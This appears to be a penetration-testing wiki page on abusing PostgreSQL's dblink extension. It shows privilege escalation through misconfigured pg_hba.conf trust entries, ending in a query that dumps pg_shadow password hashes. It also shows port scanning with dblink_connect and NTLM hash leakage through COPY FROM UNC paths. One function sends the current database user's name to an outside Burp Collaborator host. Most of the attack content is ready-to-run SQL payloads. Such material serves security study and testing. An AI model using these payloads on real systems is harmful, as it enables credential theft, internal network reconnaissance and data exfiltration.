# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
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**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Once you have dblink loaded you could be able to perform some interesting tricks:
### Privilege Escalation
The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:
```
local all all trust
```
_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\
&#xNAN;_Note also that the file pg\_hba.conf is readable only by postgres user and group and writable only by postgres user._
This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database.
Another possible misconfiguration consist on something like this:
```
host all all 127.0.0.1/32 trust
```
As it will allow everybody from the localhost to connect to the database as any user.\
In this case and if the **`dblink`** function is **working**, you could **escalate privileges** by connecting to the database through an already established connection and access data shouldn't be able to access:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
### Port Scanning
Abusing `dblink_connect` you could also **search open ports**. If that \*\*function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Note that **before** being able to use `dblink_connect` or `dblink_connect_u` you may need to execute:
```
CREATE extension dblink;
```
### UNC path - NTLM hash disclosure
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
```
```sql
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
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